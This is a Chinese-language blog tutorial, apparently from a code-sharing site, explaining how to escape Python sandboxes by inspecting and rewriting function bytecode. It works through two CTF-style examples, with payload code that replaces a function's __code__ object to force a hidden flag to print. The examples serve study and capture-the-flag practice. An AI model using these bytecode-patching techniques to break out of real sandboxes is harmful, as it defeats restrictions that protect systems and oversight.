使用OpCode绕过Python沙箱的方法详解


Posted in Python onSeptember 03, 2019

0x01 OpCode

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

如何查看一个函数的OpCode?

def a():
 if 1 == 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

通过此方法我们可以得到a函数的OpCode

Opcode of a(): 6401006402006b020072140064030047486e000064000053

我们可以通过dis库获得相应的解析结果。

import dis

dis.dis('6401006402006b020072140064030047486e000064000053'.decode('hex'))

得到反编译的结果

0 LOAD_CONST          1 (1)
      3 LOAD_CONST          2 (2)
      6 COMPARE_OP          2 (==)
      9 POP_JUMP_IF_FALSE    20
     12 LOAD_CONST          3 (3)
     15 LOAD_BUILD_CLASS
     16 YIELD_FROM    
     17 JUMP_FORWARD        0 (to 20)
>>   20 LOAD_CONST          0 (0)
     23 RETURN_VALUE

常见的字节码指令

为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch

在124行加入

print hex(op).ljust(6),

可以查看具体的字节码。

0 LOAD_CONST           0x64       1 (1)
      3 LOAD_CONST           0x64       2 (2)
      6 COMPARE_OP           0x6b       2 (==)
      9 POP_JUMP_IF_FALSE    0x72      20
     12 LOAD_CONST           0x64       3 (3)
     15 LOAD_BUILD_CLASS     0x47 
     16 YIELD_FROM           0x48 
     17 JUMP_FORWARD         0x6e       0 (to 20)
>>   20 LOAD_CONST           0x64       0 (0)
     23 RETURN_VALUE         0x53

变量

指令名 操作
LOAD_GLOBAL 读取全局变量
STORE_GLOBAL 给全局变量赋值
LOAD_FAST 读取局部变量
STORE_FAST 给局部变量赋值
LOAD_CONST 读取常量

IF

指令名 操作
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

CMP_OP

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')

其余的指令参考OpCode源码

0x02 利用OpCode改变程序运行逻辑

在Python中,我们可以对任意函数的__code__参数进行赋值,通过对其进行赋值,我们可以改变程序运行逻辑。

Example1

def a():
 if 1 == 2:
  print("flag{****}")

在沙箱环境中我们需要调用这个函数,但是此函数我们无法执行到print语句。因此我们需要通过某种方法得到flag

Solution 1

我们直接获取a.__code__.co_consts,查看所有的常量。即可知道flag

(None, 1, 2, 'flag{****}')

Solution 2

更改程序运行逻辑

CodeType构造函数

def __init__(self, argcount, nlocals, stacksize, flags, code,
     consts, names, varnames, filename, name, 
     firstlineno, lnotab, freevars=None, cellvars=None):

上述函数其余参数均可通过__code.__.co_xxx获得

因此我们

def a():
 if 1 == 2:
  print("flag{****}")

for name in dir(a.__code__):
 print name,getattr(a.__code__,name)

输出

co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab

co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()

构造相应目标代码

def a():
 if 1 != 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

得到code

6401006402006b030072140064030047486e000064000053

构造payload

def a():
 if 1 == 2:
  print("flag{****}")

newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code

a()

即可输出flag

Example 2

def target(flag):
 def printflag():
  if flag == "":
   print flag
 return printflag

flag = target("flag{*******}")

这一次因为是通过变量传入参数,我们无法通过上一次读co_consts获得变量。但是我们这次依旧可以通过重写code获得flag。

构造替代函数

def target(flag):
 def printflag():
  if flag != "":
   print flag
 return printflag
a = target("xxx")
import types
code = a.__code__.co_code.encode('hex')
print code

EXP

newcode = type(flag.__code__)
code = "8800006401006b030072140088000047486e000064000053".decode('hex')
code = newcode(0,0,2,19,code,(None, ''),(),(),"example2.py","printflag",2,"",('flag',),())
flag.__code__ = code
flag()

➜  python example2exp.py
8800006401006b030072140088000047486e000064000053
➜  python example2.py  
flag{*******}

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
python求素数示例分享
Feb 16 Python
python获取图片颜色信息的方法
Mar 18 Python
python实现提取百度搜索结果的方法
May 19 Python
python基础教程之五种数据类型详解
Jan 12 Python
利用Python暴力破解zip文件口令的方法详解
Dec 21 Python
idea创建springMVC框架和配置小文件的教程图解
Sep 18 Python
python面向对象入门教程之从代码复用开始(一)
Dec 11 Python
python使用turtle绘制国际象棋棋盘
May 23 Python
Python Tkinter Entry和Text的添加与使用详解
Mar 04 Python
python接入支付宝的实例操作
Jul 20 Python
Python爬虫制作翻译程序的示例代码
Feb 22 Python
pytorch中F.avg_pool1d()和F.avg_pool2d()的使用操作
May 22 Python
python实现单链表的方法示例
Sep 03 #Python
python中enumerate() 与zip()函数的使用比较实例分析
Sep 03 #Python
python网络编程之多线程同时接受和发送
Sep 03 #Python
springboot配置文件抽离 git管理统 配置中心详解
Sep 02 #Python
python生成随机红包的实例写法
Sep 02 #Python
Django发送邮件功能实例详解
Sep 02 #Python
python读取Excel表格文件的方法
Sep 02 #Python
You might like
咖啡风味 世界咖啡主要分布分布 咖啡的生长要求
2021/03/06 新手入门
php注入实例
2006/10/09 PHP
用PHP连接Oracle数据库
2006/10/09 PHP
PHP5 面向对象程序设计
2008/02/13 PHP
php读取30天之内的根据算法排序的代码
2008/04/06 PHP
PHP实现根据浏览器跳转不同语言页面代码
2013/08/02 PHP
php 后端实现JWT认证方法示例
2018/09/04 PHP
jquery 应用代码 方便的排序功能
2010/02/06 Javascript
javascript qq右下角滑出窗口 sheyMsg
2010/03/21 Javascript
用表格输出1-1000之间的数字实现代码(附特效)
2013/04/21 Javascript
基于javascript实现泡泡大冒险网页版小游戏
2016/03/23 Javascript
JS中artdialog弹出框控件之提交表单思路详解
2016/04/18 Javascript
原生JS实现导航下拉菜单效果
2020/11/25 Javascript
通过构造函数实例化对象的方法
2017/06/28 Javascript
使用Vue-Router 2实现路由功能实例详解
2017/11/14 Javascript
swiper 自动图片无限轮播实现代码
2018/05/21 Javascript
微信小程序自定义底部弹出框
2020/11/16 Javascript
使用vuex解决刷新页面state数据消失的问题记录
2019/05/08 Javascript
VUEX采坑之路之获取不到$store的解决方法
2019/11/08 Javascript
在微信小程序中使用mqtt服务的方法
2019/12/13 Javascript
Python 稀疏矩阵-sparse 存储和转换
2017/05/27 Python
python的pstuil模块使用方法总结
2019/07/26 Python
详解python中的生成器、迭代器、闭包、装饰器
2019/08/22 Python
python3 实现爬取TOP500的音乐信息并存储到mongoDB数据库中
2019/08/24 Python
python将数组n等分的实例
2019/12/02 Python
Pycharm 2020最新永久激活码(附最新激活码和插件)
2020/09/17 Python
Expedia韩国官网:亚洲发展最快的在线旅游门户网站
2018/02/26 全球购物
汽车检测与维修应届毕业生求职信
2013/10/19 职场文书
初中三年学生的学习自我评价
2013/11/13 职场文书
供用电专业求职信
2014/07/07 职场文书
工作会议通知
2015/04/15 职场文书
感恩教育观后感
2015/06/17 职场文书
篮球赛新闻稿
2015/07/17 职场文书
python 如何用map()函数创建多线程任务
2021/04/07 Python
JUnit5常用注解的使用
2021/07/02 Java/Android
Mysql数据库事务的脏读幻读及不可重复读详解
2022/05/30 MySQL